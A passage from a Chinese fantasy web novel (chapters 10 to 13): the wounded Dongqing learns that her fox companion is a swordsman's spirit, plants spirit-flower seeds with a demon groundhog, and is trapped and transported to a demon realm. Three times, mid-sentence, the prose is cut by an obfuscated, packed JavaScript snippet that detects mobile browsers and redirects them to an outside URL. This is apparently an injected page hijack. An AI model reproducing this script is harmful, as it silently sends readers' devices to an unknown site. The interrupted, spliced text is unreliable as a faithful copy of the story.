池南蹿到冬青身边,同样怔愣在原地。 “冬青!”柳又青急匆匆追来,看到那只乖乖趴伏在地上的雪硝鳄,难以置信的睁大了眼睛,“什……什么情况?” 冬青摇摇头,忽然剧烈呛咳了两声,她偏头吐出一口血,撑着树干摇摇晃晃站起身来,“快走!” 柳又青上前搀扶住冬青,这才看清她腰侧撕裂的口子,“伤这么重?!” “无妨,快走。”冬青捡起一根粗枝当手杖,她忽然想到什么似的,回眸看了池南一眼。 池南猝不及防地与她对视,好在后者旋即便若无其事地回过头,在柳又青的搀扶下磕磕绊绊地朝前走去。 无相显得有些疲倦,他飘到池南脚边,问道,“你还好吗?” “不大好。”池南喘着粗气,这几日好不容易养回些的元神一朝被打回原形,“怕是一时半刻使不出真气了。” “小冬青方才看了你一眼,她……” “怕是听到了。”池南道,“一会柳又青离开时,我会跟她说明。” 天已全然黑透,密林伸手不见五指,柳又青掏出一个琉璃瓶,打开瓶塞。 点点荧光如溪流一般从瓶口流出,盘旋在两人前方,为其照亮了前方的道路。 柳又青解释道,“这是金荧子,一种发光的灵。” 冬青捂着腰侧,轻笑一声,声音虚弱地问,“你从哪来的这么多稀奇古怪的东西?” “丹药草药粉末大部分是从家里拿的,一部分是我自己炼的,符箓法器是用丹药跟宗门的符修和器修换的。”柳又青叹了口气,“但是我符道和器道学的一般,也不知今冬选拔能不能成功入内门。” 仙人顶的外门弟子会在宗门内先学习两年,两年内要学会剑、丹、符、器、阵五大修炼法门的基础知识,两年后冬日进行考核,合格者入内门选择一种法门进行专攻。 “至少闻氏兄弟肯定不是你的对手。”冬青短促的笑了一下,腰侧伤口传来撕痛,她垂首深吸了两口气,“红豆,我们稍微歇下。” “是不是伤口疼了?”柳又青放下身上大小包裹,从中取出止血止疼的的草药和丹药,“已经走出去很远了,应该不会跟过来,我先给你包扎下。” 冬青闭眼靠在树干上,指缝里还在不断往外渗着血,她听到柳又青说话,下意识点了点头。 “走之前灌了一壶酒,没想到竟用在此处。”柳又青将酒倒在针上,拎着酒壶蹲在冬青身旁,撕开她腰侧的衣物,又往她嘴里塞了一块软木,“冬青,忍着些。” 她用真气勾出一缕酒,均匀的洒在冬青伤处。 剧痛瞬间传来,冬青咬紧软木,全身止不住颤抖,她十指扣紧身下树根,汗湿的额发贴在脸颊上,喉间溢出破碎的呜咽。因剧痛,她裸露在外面的肌肤都起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362856|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层薄汗,在金荧子的照耀下,泛着莹润的光泽。 柳又青不忍看她,手上加快了动作,她一边仔细给冬青缝合着伤口,一边不停地碎碎念,“冬青,你别睡啊,跟我说说话,或者听我说说话也行……” 池南站在对面的树上,别过脸去。 “怎么?”无相戳了戳他。 池南叹了口气,“说到底,她是因为为你我摘归元果才受此无妄之灾。” 无相罕见的没有接话,半晌,他才开口道,“我不通御物之术,但是我想把小冬青教到我无法再教的境界。” “没想到,你还挺有责任心。” “毕竟喝了一杯拜师茶嘛——虽然她可能也没把我当师父。”无相在树干上坐下,“你不同意?” 池南低头看他,“我与你想的是一样的。” “这还差不多。”无相手指捻着湿漉漉的拂尘尖,话锋一转,“方才,你看到了吗?” 一向以凶残闻名的雪硝鳄,竟在食物已经到嘴边的情况下,停止了攻击。而且,以一种堪称虔诚的姿态趴伏在冬青面前。 “看到了。”池南回想方才千钧一发之际,那雪硝鳄似乎是闻到了冬青的血才停下攻击。 “一个没有灵根的小姑娘,有御物天赋,能修炼出识海,识海下可能还有另一层空间,现在连雪硝鳄都怕她的血。”无相捋捋胡子,“啧啧”两声,“小老儿我活了五百年,还是闻所未闻。” 池南蹙眉向下望去,柳又青已经为冬青包扎完了。她浑身浴血,腰腹和手腕缠着厚厚的纱布,清瘦的脸庞浸在暖黄荧光里,胸口微微起伏着,力竭昏沉睡去。 他跳下树去,走到冬青身边。 “呀,把你忘了,你饿了吧?”柳又青拿出一点干粮,掰碎了放到他面前,又给他到了些水喝。 她发现狐狸的眼睛时不时看向冬青,“你担心她吗?别担心,我已经给她喂了止痛丸,应当能睡个好觉。” 紧绷的神经甫一放松下来,那些被抛之脑后的疲累酸痛一瞬间全都涌了上来,柳又青脱力靠在树干上,对趴在冬青身边的狐狸说道,“今晚就靠我俩守夜了。” 狐狸看了她一眼,撇过脸去。 柳又青笑了一声,“冬青说的还真不错,你待人确实挺生分。” 她说着说着,忽然来了兴致,凑到狐狸面前,“不过你对冬青还挺亲近的,诶,冬青是怎么捡到你的?” 无相靠在狐狸松软的毛发上闭目养神,闻言哈哈一笑,“她不会指望一只狐狸跟她说话吧?” 池南本就真气耗尽、精疲力竭,他只想清静一会,而一旁柳又青的嘴却在叭叭叭讲个不停,如念咒一般钻进他耳朵里,念得他头痛。 他用爪子扒着耳朵,希望以此方式来达到让柳又青闭嘴的目的。 然而柳又青没领会他的意思,竟然直接上手把他的爪子扒开,然后又开始叭叭叭。 池南忍无可忍,猝然起身三两下蹿上树。 无相骤然没了支撑,失衡向后仰去,后脑“咚”的一声砸在地上,他捂着后脑爬起来,向左看看柳又青,又向上看了看池南,果断落荒而逃,起身上树。 饶是他堂堂无相剑灵,也难以招架柳又青说个不停的嘴。 青天大老爷,这小姑娘未免太聒噪了些! 11. 第 11 章 绛茵谷的清晨雾气缭绕,空气里浸透了湿漉漉的凉意,一滴饱满的晨露从叶尖滴落,啪地滴在冬青脸颊上。 她眼睫一颤,猛地睁眼,撑着上半身坐起。 浑身撕裂般的疼痛已经缓解了许多,现下除了四肢百骸残留的虚弱,应已无大碍。 她喉间干渴的发紧,撑着树干慢慢支起身子,想去一旁溪边取些水来。 细微的窸窣声响惊醒了池南,他一尾巴拍醒无相,在他惺忪睡眼的注视下跳下树去,一脚踩醒了柳又青。 “嗯?”柳又青闭着眼睛翻了个身,她咂巴两下嘴,动作忽地一滞,骤然弹坐起来,“谁?!” 她左手拎着一串奇形怪状的法器,右手握着一沓皱巴巴的黄符,如临大敌的四下幻视着。 池南无语,默默走开。 柳又青余光瞥见那一小团红色身影,神色一愣,顺着目光看去,猛禽野兽没见到,却见冬青支着根颤颤巍巍的木棍步履蹒跚地向溪边走去。 “冬青!”柳又青胡乱将法器符箓收好,快步追到她身边,接过她手中的水袋,“你伤势还未好全,接水这种小事,你喊我一声不就行了!” “我瞧你眼底乌青,想必一夜未眠。”冬青换了个手撑木棍,“而且我已经好多了,接个水而已,不妨事。” 池南走在一旁,心道柳又青哪是一夜未眠,她那一张嘴攻击力强却不持久,絮叨了没多会就睡的不省人事,她若真是畅谈一夜,今日怕是不知道会出现几个被她魔音贯耳的伤患了。 两人行至溪边,接满了水,又简单洗了漱。 澄澈的溪面如流动的透明绢缎,柳又青的目光透过粼粼水光,悄悄落在冬青身上,她轻轻注视着那双黑亮的眼睛,忽地,那黑眸一动,竟在水面的倒影里,精准的迎上了她的目光。 “红豆,你有话想说。”冬青洗净了手,面向她盘坐在溪边,开门见山。 柳又青被看穿了小心思,一时有些窘迫,她正襟危坐,“冬青,我不是有意瞒你。” 她道,“雪硝鳄生性凶猛,到手的食物绝不会松口,可昨日那只雪硝鳄却对着你伏拜下去,冬青……” 冬青闻言轻笑,“说实在的,我也不知是为何,如你所见,我无灵根无真气,不过一介凡躯,哪里有本事让雪硝鳄血口放人。” 柳又青咬着唇瓣,心中对自己怀疑冬青一事深感愧疚,拉起她的手,“冬青,是我不好。” “没什么不好的,换做我,猜忌只多不少。”冬青温和打断她要说的话,语气带着点催促,“好了红豆,来帮我换药吧。” 柳又青手脚麻利的为冬青换好了药,两人啃了些干粮,拿出那张被湿气浸润的有些模糊了的舆图来分辨着方位。 她叼着干饼跃上高高的树梢,站在树顶极目远眺,片刻后她跳下树来,抖了抖身上的叶子,语气轻快,“我们现下离空蝉花地不过两柱香的路程,冬青,你能走吗?” “能。”冬青摸了摸狐狸头,站起身来,“不能让你趴在包裹上了,你先跟着走吧。” 池南沉稳地点了点头。 无相坐在池南背上,懒洋洋地打了个哈欠。 晨光熹微,两人按舆图跋涉着,周遭密林逐渐变得稀疏,头顶渗下来的天光也越来越明亮,直到走到树林边缘,眼前豁然开朗,一片广袤无际的黑色砾石滩在山谷平铺开来,一只延伸到视野尽头。 柳又青扶着树干长舒一口气,“到了。” “我们现下在空蝉花地的中心。”冬青打开已经潮湿的舆图,“若我们两人兵分两路,说不定能快些。” 柳又青闻言,声音立刻拔高了一度,“不行,你伤势未愈!” “你听我说,”冬青把她按下,“若七日内我们没有种完空蝉花,便还要在这里待到种完为止,绛茵谷的凶险你我已有见识,在这里多待一日便多一分危险。” 冬青说的话也不全无道理,柳又青有些动摇,“那你……” “我已经无碍了,你把伤药给我便是,我自己可以的。” 柳又青最终还是妥协了,她一股脑把上好的伤药和法器全掏了出来,塞到了冬青的腰袋里,“这是外敷的,这是内服的,这是止痛的,还有这个法器……” “好。”冬青心里承了她的好意。 柳又青又给她换了一次药,随后率先走到峭壁下边开始种植空蝉花。 这片沉黑的砾石滩夹在林海与峭壁之间,如一条墨色河流,沿着山谷南北向蜿蜒延伸,柳又青以峭壁底端为始,冬青则以林海边缘为始,以东西为一排,两人一个向南一个向北,开始种植。 冬青从腰袋里拿出那枚乾坤币,却不知道应如何打开,正当她抬头想要叫住柳又青时,才发现她已经种满好几排空蝉花籽,人在视野里已然变成一点小小墨滴了。 忽然,乾坤币在她掌中轻轻一颤,随着乾坤币落回掌心,几样物什忽地出现在眼前。 一包蓝紫色的空蝉花籽、几样种植的玉质农具、一本种植方书和一小罐丹药安安静静地躺在砾石中。 冬青不动声色的看了池南一眼,没说话。 她打开袋子,捻起一颗蓝紫色种子,迎着阳光细细观察。 这跟她平常所见的草药籽和菜籽都不同,如宝石一般在阳光下泛着晶莹的光泽,放在以前,她可能就当什么好东西藏起来了。 她又打开种植方书,上面写着:空蝉花,唯玄砾滩可生,赖月华滋养。莳之,以玉匙播籽于砾下一寸,忌铁器、忌积露。花期周埋枯艾避虫,足月子夜收之,过时化尘。 冬青记性很好,只又在心里默念了一遍,便已经一字不落地记住。 她站起身来,将散落在地上的东西放进腰袋里,手抓了一把花籽走到玄砾滩,用玉匙拨开砾石,将花籽埋在下一寸中,再用砾石遮挡住。 不断弯腰、拨石、埋种、覆盖,如此往复种了五排,冬青有些眩晕,她直起酸痛的腰背,用袖口擦了擦额角的汗。 日渐高照,到时辰换药了,冬青扒了扒手中花籽,抬腿向不远处的树荫走去。 忽地,眼前一阵发黑,冬青身型一晃,不受控地向前栽去。 一股纯粹而温和的真气稳稳托住了她。 冬青有了支撑,靠在那股真气上闭目喘息了片刻,直到眩晕感渐渐如潮水般退去,她才慢慢直起身子。 无相凑上前来,“小冬青,你还好吧?” “不打紧。”冬青摆了摆手。 她深一脚浅一脚的走到树荫下,慢慢为自己换起了药。 树叶在风中摩擦,天青发带随风拂起,在她颊边飘荡,她伸手把它拽到身前,用嘴轻轻叼住。 突然,一个清冽而陌生的声音,如玉石击盘一般落进她耳朵里。 “冬青。” 冬青就着包扎的姿势缓缓掀起眼皮,视线缓慢而精准地落到一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362857|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红狐身上。 红狐果然再度张口,“冬青。” “你愿意开口了。”冬青利落的打好最后一个结,转过身来面对着他。 “哎呀,他……”无相刚在一旁开口,便被冬青一个平静的眼神噎了回去。 池南垂眸片刻,随后直视着冬青道,“冬青,我并非故意瞒你,我本是个剑修术士,与人交战受了重伤后元神离体,不知为何附在了这只狐狸身上。我前些时日未开口,是因为怕你讲我当成一只满嘴跑胡话的妖,权宜之下才对你隐瞒身份。” “昨日我确实以为你是一只妖。”冬青掰下一点干饼送进嘴里,她又看向无相,“那他呢,怕也不单纯是一只梅花妖吧。” 池南“嗯”了一声,“他是我的剑灵,寻着我的元神找到你这里来的。” 冬青支着下巴,若有所思道,“那你此时同我坦白,想必定有自己的考量,说说吧。” 池南知道冬青不是那种喜欢拐弯抹角的人,便单刀直入地说道,“我想在你这里修养元神,作为交换,我会和无相教你修炼御物之术。” “成交。”冬青毫不犹豫。 无相甩着拂尘凑到她面前,“这就同意了?” “不然呢?”冬青问。 无相一时语塞,“我梅花妖的身份是假,但五百年寿元是真,见过御物术士也是真。而且……”无相看向池南,“不用白不用,他剑术的境界也很高,修炼方法上大可让他指点一二。” 阳光透过枝叶罅隙,在三人身上洒下点点光斑,即便正午热气升腾,冬青的脸仍是苍白的,树叶的绿影投下,显得面色甚至有些发青,整个人愈发清泠疏离起来。 稍事歇息后,她再度站起身来走向砾石滩,池南和无相默默跟在她脚边。 冬青弯腰播种的同时,池南也在用真气在她身旁悄然播种,两人配合默契,眨眼间便种出很远。 “小红,”冬青忽然开口,“你说你元神有损,真气想必也所剩无几,歇着吧,我自己来就好。” 无相在池南耳边,憋着笑耳语,“她还叫你小红呢。” “我又不聋。”池南没好气的拍开他。 他尚未将真实身份告知冬青,冬青方才以小红相称,是在说他有所隐瞒,他心知肚明。 但他尚且不知白晓城屠城一事是否冲他而来,若真是,此时贸然将真实身份告知,他怕会给冬青引来杀身之祸。 他斟酌片刻,开口道,“我叫池北。” 无相本在一旁勤勤恳恳兢兢业业地种植空蝉花,乍一听道“池北”的名字,险些被自己的口水呛个天昏地暗。 无相背着冬青,肩膀剧烈耸动,笑的直不起来腰,他赤裸裸地低声嘲讽道,“你还敢说冬青起名水平不行,你看你自己,好到哪去了,池北?” “闭嘴吧你!”池南恼羞成怒,狠狠给了他一脚。 冬青用玉匙轻轻扒拉着砾石,头也不回地道,“还是小红吧,你说你是与人交战才重伤,若称呼你大名,叫有心之人听了去,来日你仇家知道你没死,杀上门来怎么办?” 无相笑的更猖狂了,他捂着肚子,“哎呦,听听!听听!我觉得小红之名比池北好听啊哈哈哈哈……” 池南咬牙,忘了这丫头睚眦必报的性子,她就是故意的! 突然,他脚下一个趔趄,蹙眉回头望向那块平静的地面。 这地面……方才是动了一下吗? 12. 第 12 章 池南抬头看向无相和冬青,无相汗流浃背的坐在砾石滩里埋头苦干,冬青则直起身子仰头喝水,又拿起方巾细细擦着汗珠。 他们两人都没有察觉这地面的异常。 池南眉头蹙起,难不成真的是他看错了? 正当他放下疑虑,用真气托着空蝉花籽走到冬青身边时,地面又骤然耸动了一下。 这次耸动之剧烈,冬青也感觉到了,她立刻蹲下身来,扒了扒身下的黑色砾石,却并未见什么异样。 无相四仰八叉歪倒在砾石滩上,他堂堂无相剑灵,哪里遭过这种罪,不过播种了一个时辰,他的四肢便软绵绵的使不上力,罢了罢了,索性就着这坚硬的地面,闭目养神片刻。 他侧躺在硌人的砾石堆上,闭了闭酸痛的眼睛,随即他一个懒洋洋的翻身,眼皮半睁半闭。 下一刻,他冷不防地对上了一双纯黑溜圆的眼珠子! “啊——!” 无相惊叫着坐起来,这尖叫凄厉到变了调,冬青和池南循声望来,纷纷睁大了眼睛。 只见无相四仰八叉的支着上半身,他面前砾石堆里冒出了半个毛茸茸的棕色的头,一双圆溜溜的眼睛好奇的打量着面前两人一狐。 “这是一只土拨鼠?”冬青蹲在它身前。 “我叫土墩儿。”那只土拨鼠突然说话了,声音稚嫩,像个总角小儿。 “你是一只妖?”冬青还是头一次见妖这么亲人。 她没注意到,在土拨鼠说话的瞬间,无相悄悄溜去了池南身边,伸手按住了狐狸的脊背。 池南全身紧绷,毛发炸起,白晓城的惨状至今仍历历在目,他看着面前突然出现的妖,仿佛被瞬间拖回那日尸山血海的战场,浓厚的化不开的血腥味似乎再次弥漫在鼻尖。 “我阿娘说等我长大了,就可以变得和你一样了。”土墩儿一边说着,一边用力把自己从砾石里拔出来,短小的爪子拍了拍身上的黑色碎屑。 “妖到成年便可化人形,你娘说的没错。”冬青道。 “这里好久没人来过了,你们是我见到的第一个人类。”土墩儿看上去很兴奋,把手里攥着的一把青草递给冬青,“送给你,这个很好吃。” “谢谢。”冬青把它的爪子推了回去,“但是人类不吃这个,你自己留着吃吧。” 土墩儿听后也不客气,亮出自己两颗大板牙开始啃着青草,它含糊不清地问,“你们来这里做什么?” 冬青摊开手心,一把空蝉花籽躺在她手里,“来种空蝉花。” “我见过这个!”土墩儿用短短的爪子夹起一粒,“我来帮你种吧!” “等等!” 正当冬青要一口应下的时候,池南忽然出口打断。 他走上前来,眼神凌厉地扫向土墩儿,冷声道,“你为何要帮我们种空蝉花,一只妖会有这么好心?” 他知道冬青对妖并不像寻常人一般警惕,但是……妖物惯会伪装,白晓城一战是,就连幼时他家破人亡也是。他已经在妖身上付出了惨痛的代价,不得不对妖打起十二分警惕。 近乎刻薄的质问并没使土墩儿有所恼怒,或者说没让这只土拨鼠妖露出他想要的妖物该有的凶恶神情,反而爪子一伸指向冬青,道,“因为她身上的味道很好闻。” “我?”冬青低头闻了闻自己的衣袖,并没闻到什么特别的味道。 无相和池南对视一眼,皆在对方眼中看到了不解。 “是啊,她身上有熟悉的味道,很好闻。”土墩儿看着池南沉冷的眼神,往冬青旁边挪了两步。 “多个帮手也好。”冬青摸了摸土拨鼠的头,又拍了拍池南,“出了什么事,还有你在呢。” 池南被这两下拍得无话可说,心中暗道,左右不过一只未成年的妖,若真有什么异动,即便他真气不足,对付这么一只小妖也是绰绰有余。 如此想着,他便松了口。 冬青把空蝉花籽分给土墩儿一些,教了它种植方法,便放任它欢快地去一旁播种了。 绛茵谷的天说变就变,前一刻还艳阳高照,现下却隐隐起了雾,铅灰的云阴沉沉的坠在山谷上方,让人闷的喘不过气。 柳又青种得忘乎所以,直到头顶阳光不见,才直起身子跑到树荫下歇息。 她晃动传音铃,片刻后传音铃里传来了冬青急切的声音,“怎么了红豆?” “放心放心,我只是一个人有些无聊,找你说说话罢了。”柳又青盘坐在树荫下,啃着干饼。 对面松了口气似的,语速慢了下来,“我这边来了个帮手。” 柳又青来了兴致,“帮手?” “是啊,一只土拨鼠妖。” “嗯,哦……啊?!什么?!妖?!”柳又青举着干饼跳起来,“你那有妖!你还让妖来做帮手?!” 柳又青声音大的把传音铃震得嗡嗡响,冬青把传音铃拿得远了些,安抚道,“你先别急,听我说。” 她解释道,“是一只未成年的土拨鼠小妖,没什么威胁,随便用一件你给我的法器就制服了。” 对面似乎沉吟了片刻,妥协道,“行吧,有事你随时叫我。” “好。”冬青熄了传音铃。 她埋头耕种着,忽然,面前的地上多了一点湿润的深痕,随后第二点、第三点……密集的水痕迅速连成一片。 冬青猝然抬头,一朵巨大的阴云悬在上方,密集的雨点正如石子般砸下。 “糟了!”冬青猛然想起种植方书上写的“忌积露”,她连忙从腰袋里拿出一张巴掌大的泛着水光的防水布,“小红,帮忙!” 池南反应极快,用真气捏住防水布四角,用力抖开,防水布骤然变大,眨眼间化作一片水光潋滟的屏障,严严实实覆盖了所有种植过的种籽。 冬青急忙摇响传音铃,“红豆,空蝉花籽不能碰水,乾坤币里有防水布。” 柳又青本还在树荫下避雨,闻言急忙一骨碌爬起,她可不想让自己这么长时间的辛苦付诸东流,“天啊多谢你冬青,我这就去盖防水布!” 话音未落,人已操纵防水布冲进雨幕。 雨势愈发滂沱,密集的雨珠砸在地上,在地面上蒸腾起一片白烟。 冬青、池南和无相躲在树下,看着这场无休无止的雨水,土墩儿则独自坐在另一棵树下,拔地上的青草吃。 沉闷雨声中,冬青看着身旁沉默的红狐,开了口。 “小红,你们术士,为何如此……”冬青斟酌了一下词语,“戒备妖族?” 火红的狐狸抖了抖身上的水,池南面对着她坐下,金黄的竖瞳在雨幕的微光下显得格外幽深,半晌,他声音低沉,“二百年前,人族和妖族还是一派祥和,两族互不干扰,相安无事,直到有一天,妖族向人族发起了入侵,烧杀抢掠、生灵涂炭,两方展开大战,最后两败俱伤,不得已又退居各自领地。直到今天,仍有不少妖族活动在我们身边,我的父亲……便是被妖族所害,前一段时间南氏国的白晓城也惨遭屠城。” 冬青默默点了点头,杀父之仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362858|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不共戴天,若换做是她,可能还做不到像小红这样冷静。 “你说谎!”一旁土墩儿忽然猛地站起身来,他爪子里还捧着的潮湿的青草掉落在地上,直直上前两步,身体发抖,“我娘跟我说,二百年前发起侵略的是人类!我娘不会骗我的!” “呵。”池南鼻腔里发出一声极轻的、带着无尽疲惫与厌烦的冷笑,他别过脸去,蜷在地上,下巴埋进蓬松的尾巴里,闭目养神。 土墩儿见此情形急了,“你胡说!你就是胡说!” 它眼眶里似乎盈了泪水,他狠狠一跺脚,抹泪跑开了。 冬青看着那个圆滚滚的背影,决定跟上去看看。 倒也不是她多重情义,只是担心那小土拨鼠叫来了什么法力高强的大妖就麻烦了。 她垂眸瞥了眼缩成一团的狐狸,她当然也没有资格让一个因妖丧父的人对妖有什么好态度。 “无相。”她决定不去触池南的霉头,轻声叫起了无相,“我跟上去看看,有事用传音铃联系你们。” 无相看着那个跑进雨中逐渐缩小的身影,有些不放心,“小冬青,我与你同去吧。” 冬青摇了摇头,“你在此处陪池北吧,我去去就回。” 无相只得点头同意。 冬青带好防身的法器,折了一片硕大的芭蕉叶挡雨,快步跟在土拨鼠后面。那小东西腿虽短,在砾石滩上跑起来却异常灵活,她跟的气喘吁吁,也只勉强不被它甩下而已。 “土墩儿。”冬青实在有些累,“慢些吧。” 土墩儿回头,雨水顺着它的皮毛淌下,“你跟着我做什么?” “……”冬青自然不能把真实原因告知,随便扯道,“怕你想不开。” “我有什么想不开的,我娘是不会骗我的!” “是是。”冬青靠在湿冷的峭壁上轻轻喘息,她一手捂在腰侧的伤处,声音放的轻缓了些,“二百年太久了,当年到底是怎么回事我们谁都不清楚,也许小红的娘就是那么跟他说的,所以他才那样笃定。” 她蹲下身来,平视土墩儿,“你莫跟他计较,好吗?” 土墩儿凝神思索了一会儿,竟觉得冬青所说并非不无道理,“嗯……好吧,我原谅他了。前边有棵果树,我想去摘果子,你要过去吗?” 冬青轻笑一声,“走吧。” 绛茵谷十步不同天,走了一段距离后,雨渐小了起来,冬青干脆扔了挡雨的叶子,慢步跟在土墩儿身后。 两侧的地势逐渐收束,高耸的峭壁山岩取代了稀疏的林木,脚下的路也变得越来越窄,冬青有些起疑,问道,“土墩儿,还没到吗?” “快了,”土墩儿停下来指着前方一个峡口,“穿过这里就到了。” 冬青点点头,不动声色地将手伸进腰袋,悄然捏紧了一样小巧却威力不俗的法器。 忽地,余光中山体上有什么一闪而过。 她扭头定睛看去,只见灰褐色的坚硬岩壁上,赫然刻印着一个她从未见过的、结构繁复诡异的符咒,那符咒正如同呼吸般,一明一暗地闪烁着猩红的光芒。 土墩儿三两步穿过仅供一人通行的峡口,眼前豁然开朗,一棵枝繁叶茂的果树就出现在峡口十步开外,它满心欢喜地回头,想要催促冬青过来。 “……人呢?” 峡口内,本该冬青站立的地方此时却一个人都没有。 而在它转身回望峡口的刹那,似乎还有一道极其微弱的红光,在峡口内侧的岩壁上一闪而过,转瞬隐没不见。 13. 第 13 章 “哎呦喂!” 柳素正蹦蹦跳跳走在路上,突然被什么东西结结实实地绊了一下,摔了个狗啃屎。 她愤愤回头看去,却见一个面朝下趴着的人事不省的姑娘。 “这……哪来的人啊?”她跪爬两步来到那人身边,扳着那人的肩膀,小心翼翼将其翻了过来。 这人脸上沾泥,却能看出是个十足十的生面孔。 穷渊界这鬼地方,每隔一段时间便会掉下来些新面孔,柳素见怪不怪,扯着嗓子喊开,很快便窸窸窣窣围了一圈人。 不,准确来说不是人,而是一群化形了形态各异的的妖,有的顶着两只缠绕着藤蔓的犄角,有的惨白的脸上只生有一只巨大的竖瞳,有的下半身还埋在土里只露出一双眼睛张望,有的从天上收了翅膀俯冲下来,激起一片飞扬的尘土。 他们密密匝匝地围着地上看不清面容的姑娘,议论纷纷。 “唉,又来一个。” “可不是,这月第几回了?” “第三次吧……不过这次怎么只有一个?” 众说纷纭之际,忽然有个顶着满头紫色叶子的紫皮妖大声道,“喂,她是个人吧?!” “人?!” 这两个字如同水滴如滚沸的油,瞬间在妖群里炸开,大家避之不及地后退两步,密不透风的妖圈骤然扩大,众妖面面相觑,神色各异。 “既然是人,那还犹豫什么!”一块长着人的四肢的巨石从一侧挤进来,“大家难不成忘了我们为什么被困在这里?” 他手掌化拳,地面上的小石块纷纷震颤两下向他手掌飞去,一根石质长刺骤然出现在掌心。 石霸每走一步,地面都震颤一下,他走到那姑娘身边,巨大的岩石身躯投下浓重的阴影,他高高举起手中石刺,对准了那人脆弱的喉咙。 “等等,”忽然有个半人高的小妖精出声了,她看起来像是一只桃花妖,声音温软地说,“你们不觉得,她身上的味道很熟悉吗?万一她也是一只妖呢?” 妖群中顿时传来窃窃私语,显然不止桃妖这么觉得,其余不少妖也在她身上感觉到了熟悉的气息。 石霸动作一滞,仔细闻了闻,“放屁,这人身上一点妖气儿没有,桃夭你什么鼻子!” “既然不是妖,那就该杀!”石霸冷声道,他重新高举石刺,对着地上人的喉咙狠狠刺去。 千钧一发之际,一片柳叶破风而来,在石刺尖离皮肤不余半寸之际,将其拦腰切断。 石刺尖被大力抄斩飞出,扎进一旁的土里,兀自颤动不已。 所有妖齐刷刷地扭头向柳叶飞来的方向看去。 “祖父!”柳素看清了来人后欢天喜地地贴了上去。 “柳淮长老!”众妖恭敬的行礼,为来人让开了一条通道。 柳淮是一只四百年的柳树妖,对于妖族漫长的寿命来说其实算得上年轻,但在穷渊界这么一个每时每刻都有妖散形的地方,他已经是为数不多的撑到现在还没有散形的四百年的妖了。 “祖父,我捡了个人!”柳素伸手指了指地上躺着的人,“诶?她醒了!” 穷渊界没有太阳,天空却是血红的,像是浓稠的血河倒悬在天上,几朵没那么白的薄云坠在天上,不一会便被不知何处吹来的邪风扯得无影无踪。 地上的人不知何时睁开了眼睛,虽一脸泥泞,一双眼却在红天下格外清明。 冬青张了张嘴,却发现自己一句话也说不出来,体内好像有什么东西在翻涌,绞得她五脏六腑缩在一起,痛得她说不出话。 “柳淮长老,这分明就是个人!”石霸捏碎了残存的半根石刺,恨声道,“您为什么不让我杀了她!” “石霸,你先冷静。”柳淮声音平和,却带着无容置疑的威严,他拍了拍石霸的肩膀,“容我先把她带回去细问。” “可……” 石霸还不死心,却被桃夭打断道,“行了大块头,柳淮长老自有他的道理。” 她掐着腰仰头看着他,“你这石头脑袋能想明白什么,快些回去歇着吧,方才动用妖力了吧?当心加速散形啊!” 妖族聚形而生,散形而死,修为高些的妖散形后会化成一颗妖丹,而修为低下的妖散形便是彻底烟消云散,归于天地。穷渊界便是这样一个会加速散形的结界,若是在此结界内的妖动用妖力,无异于饮鸠止渴,只会更快走向消亡。 石霸闻言打了个冷颤,悻悻离去了。 另一边,无相在树下用树叶卷成漏斗形接水喝,在他身旁闭目休憩的狐狸突然睁开了眼睛,“无相。” “嗯?”无相仰头喝了一点水,回头问,“要喝水吗?” “冬青去了多久了?” 无相手中树叶啪嗒掉在地上,水渍溅了他一身,他脸色瞬间白了,“走了……有半个时辰了。” “坏了。”池南倏然起身,把冬青留下的传音铃抛给无相,“快!给冬青摇铃!” 急促的铃声在寂静的山谷中回荡,铃声足足响了三下,无人应答。 “叫柳又青!” 无相又忙手忙脚地摇响了传音铃,片刻后,铃铛里传来柳又青慵懒的声音,“怎么啦小冬……” “冬青不见了,”池南语速飞快地打断她,记忆里冬青是沿着北边去了,“山谷北边峭壁下集合。” “你谁啊你……”传音铃蓦地熄了音,柳又青一头雾水的看了看传音铃,随即脸色大变,把花种全部收回乾坤币,飞也似的朝北侧跑去。 池南第一次觉得这具身躯也不是用处全无,至少他能够借着狐狸敏锐的嗅觉在雨天循着她身上的味道追去,他一路狂奔,未有停歇,无相踩在拂尘上,一言不发地飞在他身侧。 忽然,视野前方出现了一个圆滚滚的棕色身影。 土墩儿揣着满怀的果子,神色恹恹地往回走,边走边嘀咕,“人类都是大骗子。” 突然眼前一道红色闪电飞扑而来,土墩儿猝不及防被扑倒在地上,果子骨碌碌滚了一地。 池南扑在土拨鼠身上,黄金竖瞳此刻透着森然冷意,他厉色喝问,“冬青呢?” “啊?”土墩儿一脸懵,脑袋里还在心疼掉在地上摔烂的果子,一时没反应过来池南在说什么。 